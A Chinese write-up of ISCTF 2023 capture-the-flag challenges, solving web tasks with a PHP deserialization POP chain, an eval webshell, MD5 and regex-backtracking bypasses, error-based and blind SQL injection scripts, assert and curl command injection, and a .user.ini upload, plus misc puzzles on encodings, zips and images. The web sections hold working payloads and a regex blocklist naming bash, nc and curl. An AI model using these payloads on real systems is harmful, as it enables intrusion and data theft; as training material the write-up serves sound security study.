ISCTF wp

web

圣杯战争

题目源码

 <?php
highlight_file(__FILE__);
error_reporting(0);class artifact{public $excalibuer;public $arrow;public function __toString(){echo "为Saber选择了对的武器!<br>";return $this->excalibuer->arrow;}
}class prepare{public $release;public function __get($key){$functioin = $this->release;echo "蓄力!咖喱棒!!<br>";return $functioin();}
}
class saber{public $weapon;public function __invoke(){echo "胜利!<br>";include($this->weapon);}
}
class summon{public $Saber;public $Rider;public function __wakeup(){echo "开始召唤从者!<br>";echo $this->Saber;}
}if(isset($_GET['payload'])){unserialize($_GET['payload']);
}
?> 

知识点:

  • __wakeup() 方法

当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法。

  • __invoke()方法

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

  • __get()方法

获取私有成员的属性值,它含有一个参数,即要获取的成员属性的名称,调用时返回获取的属性值,这个方法不需要手动调用,是在获取私有属性时自动调用的

  • __toString()方法

 它是在直接输出对象引用时自动调用的方法

当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据

代码审计

class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibuer->arrow;  //目的是触发__get(),我们留意到这里调用了$excalibuer里的arrow属性,显然类prepare里没有arrow属性,丢到这里刚好能触发__get()

 
class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;//将 $this->release 属性赋值给了 $function
        echo "蓄力!咖喱棒!!<br>";
        return $functioin(); //在这里被当作函数调用,显而易见能把saber类丢给这里的$release
    }

class saber{
    public $weapon;
    public function __invoke(){
        echo "胜利!<br>";
        include($this->weapon);//想要包含需要触发__invoke()的话需要找能把saber类当作函数触发的地方
    }

class summon{
    public $Saber;
    public $Rider;
 
    public function __wakeup(){
        echo "开始召唤从者!<br>";
        echo $this->Saber;//目的是触发刚刚第三层的tostring,这里有个echo

用php伪协议构造

payload

?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}

解密即可得到flag

where_is_the_flag

题目

<?php  
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。  
highlight_file(__FILE__);  //标准一句话木马~  
eval($_POST[1]);  
?>

提示了一句话木马密码为1,直接蚁剑连靶场,密码连1,进去就能看见flag1,根目录有flag2,

在这里看见

那我们先进入虚拟终端,然后cd /去到根目录,然后在根目录输出FLAG3 变量的值

将三个flag拼接一下即可得到完整的flag

绕进你的心里

题目

<?php  
highlight_file(__FILE__);  
error_reporting(0);  
require 'flag.php';  
$str = (String)$_POST['pan_gu'];  
$num = $_GET['zhurong'];  
$lida1 = $_GET['hongmeng'];  
$lida2 = $_GET['shennong'];  
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){  echo "md5绕过了!";  if(preg_match("/[0-9]/", $num)){  die('你干嘛?哎哟!');  }  elseif(intval($num)){  if(preg_match('/.+?ISCTF/is', $str)){  die("再想想!");  }  if(stripos($str, '2023ISCTF') === false){  die("就差一点点啦!");  }  echo $flag;  }  
}  
?>

通过数组绕过

?zhurong[]=1&hongmeng[]=2&shennong[]=3

网上找的通用回溯poc如下,需要对应不同题目改脚本:

import requests
from io import BytesIO
 
files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
 
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

那我们改一下脚本,执行就得到了flag

payload

import requests
url = " "
data={
'pan_gu':'very'*250000+'2023ISCTF'
}
connect=requests.post(url,data=data)
print(connect.text)

easy_website

打开题目

尝试用admin/admin登录

发现用户名的框有SQL注入漏洞,单引号闭合,替换了or,过滤了空格

1' oorrder%09by%091#

爆数据库名

username=-1'ANANDD%09updatexml(1,concat(0x7e,(sELECT%09database())),1)

爆表名

1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(table_name)%09from%09infoorrmation_schema.tables%09where%09table_schema=database()%09limit%090,1),0x7e))

爆字段名

1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'%09limit%090,2),0x7e))

发现不能全部显示出来

知识点:

substring方法

是js字符串类的一个方法,用于从一个字符串中提取出一个子字符串。它可以指定截取的起始和结束位置,不包括结束位置的字符

具体用法见博客:

substring()方法-CSDN博客

爆表名payload,需要改变后substring两个的参数来拼接

username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'),1,50),0x7e))#&password=admin

经过尝试发现flag在password字段里

payload:

username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09passwoorrd%09from%09users%09limit%092,1),1,80),0x7e))

得到flag

wafr

题目

<?php  
/*  
Read /flaggggggg.txt  
*/  
error_reporting(0);  
header('Content-Type: text/html; charset=utf-8');  
highlight_file(__FILE__);  if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings    die("想读我文件?大胆。");  
}  
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){  die("无字母数字RCE?大胆!");  
}  
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){  die("奇技淫巧?大胆!!");  
}  
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){  die("大胆!!!");  
}  
else{    assert($_POST['code']);  
}

用post传参

payload:

code=system("strings /f*")
 

ez_ini

选择文件上传,上传一个.user.ini
注意user前面有个 点
可以写入
auto_prepend_file=/flag

然后上传能直接有flag

web_include

用dirsearch扫描一下看看是不是源码泄露

发现了flag.php,index.bak

访问index.bak下载打开,得到

function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

有一处是让一个小写字母转换为两个大写字母,我们需要逆向写一个脚本,这里就直接复制师傅的脚本

#include<stdio.h>
#include<string.h>
 
int main()
{
    char b[100]="dxdydxdudxdtdxeadxekdxea";
    for(int j=0;j<2;j++){
        int tmp1=0,tmp2=0,sum=0,f=0;
        //printf("%d\n",strlen(b));
        for(int i=0;i<strlen(b);i++){
            int tmp=(int)(b[i]-97);
            f++;
            if(i%2==0){
                tmp1=tmp*26;
                //printf("%d ",tmp1);
            }
            if(i%2!=0){
                tmp2=tmp;
                //printf("%d ",tmp2);
            }
            if(f==2){
                printf("%c",tmp1+tmp2);
                //printf("%d\n",sum);
                sum++;
                tmp1=0;
                tmp2=0;
                f=0;
            }
    }
    //printf("%d",sum);
    }
    return 0;
}

用伪协议构造payload即可

payload

?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php

fuzz

题目

<?php  
/*  
Read /flaggggggg.txt  
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的  
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd  
*/  
error_reporting(0);  
header('Content-Type: text/html; charset=utf-8');  
highlight_file(__FILE__);  
$file = 'file:///etc/passwd';  
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){  die('你需要fuzz一下哦~');  
}  
if(!preg_match("/fi|le|flag/i", $_GET['file'])){    $file = $_GET['file'];  
}  
system('curl '.$file);

[a-z]可以绕过任意一个字母,"|"没过滤可以放在开头结束前面的curl,然后再拼接系统命令

payload:

?file=|tac /fl[a-z]ggggggg.txt

?file=f{i}l{e}:///fla{g}gggggg.txt

1z_Ssql

用脚本跑一下

import requests
i = 0
url = "http://43.249.195.138:20786/"
result = ""
for k in range (0,10):for j in range (1,100):l = 32r = 128mid = (l+r)>>1while (l < r):#爆库名payload ="1'^(ascii(substr(database(),{0},1))>{1})#".format(j,mid)#爆表名#payload = "1'^(ascii(substr((select table_name from information_schema.tables group by table_name having table_schema regexp database() limit {2},1),{0},1))>{1})#".format(j, mid,k)#爆字段#payload = "1'^(ascii(substr((select column_name from information_schema.columns where table_name='users' limit {2},1),{0},1))>{1})#".format(j, mid, k)#payload = "1'^(ascii(substr((select flag1 from  limit {2},1),{0},1)>{1}))#".format(j,mid,k)response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})if "You are so smart!" in response.text:l = mid + 1# print(payload)#print(response.text)i +=1else :r = midmid = (l + r)>>1if (chr(mid) == " "):result = result + '\n'breakresult = result + chr(mid)#print(result)print(i)
print(result)

 爆了bthcls的库

再看看当时给的附件

由于name1里面有users,name2里面有username和password。

猜想name1为表名,name2为字段名来爆破:

将脚本中的database()改成select group_concat(username) from bthcls.users就可以了。

import requests
i = 0
url = "http://43.249.195.138:20786/"
result = ""
for k in range (0,10):
    for j in range (1,100):
        l = 32
        r = 128
        mid = (l+r)>>1
        while (l < r):
            payload ="1'^(ascii(substr((select group_concat(username) from bthcls.users),{0},1))>{1})#".format(j,mid)
            response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})

            if "You are so smart!" in response.text:
                l = mid + 1
            # print(payload)
                #print(response.text)
                i +=1
            else :
                r = mid
            mid = (l + r)>>1
 
        if (chr(mid) == " "):
            result = result + '\n'
            break
        result = result + chr(mid)
 
        #print(result)
 
 
print(i)
print(result)

直接admin/we1come7o1sctf登录

获得flag

misc

你说爱我,尊嘟假嘟

打开文件

联想到ook编码

替换为

你说爱我  Ook.
尊嘟  Ook!
假嘟  Ook?

也可以利用脚本进行替换(这是网上找的师傅的脚本)

def convert_string(input_str):# 定义转换映射关系mapping = {"你说爱我": "Ook.","尊嘟": "Ook!","假嘟": "Ook?"}# 遍历字符串,进行转换for key, value in mapping.items():input_str = input_str.replace(key, value)return input_str# 测试示例
a = "你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我"
converted_str = convert_string(a)
print(converted_str)

然后解密即可得到flag

小蓝鲨的秘密

打开题目

用010打开,怀疑是伪加密

将两处

14 00 09 00

替换成

 14 00 00 00

即可打开

打开flag.txt

图片调整高和宽度

出现key值

key:15CTF2023

AES解密一下即可得到flag

杰伦可是流量明星

用binwalk分离一下得到

打开流量包

直接筛选http协议,搜寻flag得到

url解码一下得到flag

flag{wddhr836459_83}

easy_zip

打开附件,直接用ziperello爆破一下密码看看

得到六位数字的密码

直接打开就得到flag

蓝鲨的福利

用010打开

是png文件缺少文件头

插入字节补上89 50 4E 47文件头

旋转图片就得到了flag

小白小黑

打开文件

看师傅的做法是缩放到最小就隐约看到有二维码

我的缩放(好像不是那么明显。。。)

借用大佬的吧

然后复制颜色较深处数据 发现都是45678 那么将其替换为1 其余替换为0

然后转码扫码

01239转1

45678转0

有脚本,就试试脚本

from PIL import Imagestrings = open('output_without_newlines.txt','r').read()
print(strings)
pic = Image.new("RGB",(256,256))
num = 0
for x in range(256):for y in range(256):if strings[num] == '1':pic.putpixel((x,y),(0,0,0))else:pic.putpixel((x,y),(255,255,255))num = num + 1pic.show()save_path = "./output.png"  # 图片保存路径,可以根据需要修改文件名和格式
pic.save(save_path)
print("图片已保存到当前路径: ", save_path)

得到二维码,扫码即可得到flag

(我自己得到的二维码是个歪的。。)

EZcrc

打开题目,里面的文件只有一部分是汉字

因为文件的原始大小都是3,所以这里用的是3字节的脚本(脚本用的是大佬的)

import zipfile
import binascii
import string
from tqdm import tqdmfname_fcrc = {}
fcrc_fnames = {}
fcrc_value = {}archive = zipfile.ZipFile("C:/Users/Lucian/Downloads/flag.zip")
print('正在提取crc:')
for fname in tqdm(archive.namelist()):name_info = archive.getinfo(fname)fcrc = name_info.CRCfname_fcrc[fname] = fcrcfcrc_fnames[fcrc] = []for fname in fname_fcrc:fcrc = fname_fcrc[fname]fcrc_fnames[fcrc].append(fname)print('正在破解3字节长crc')
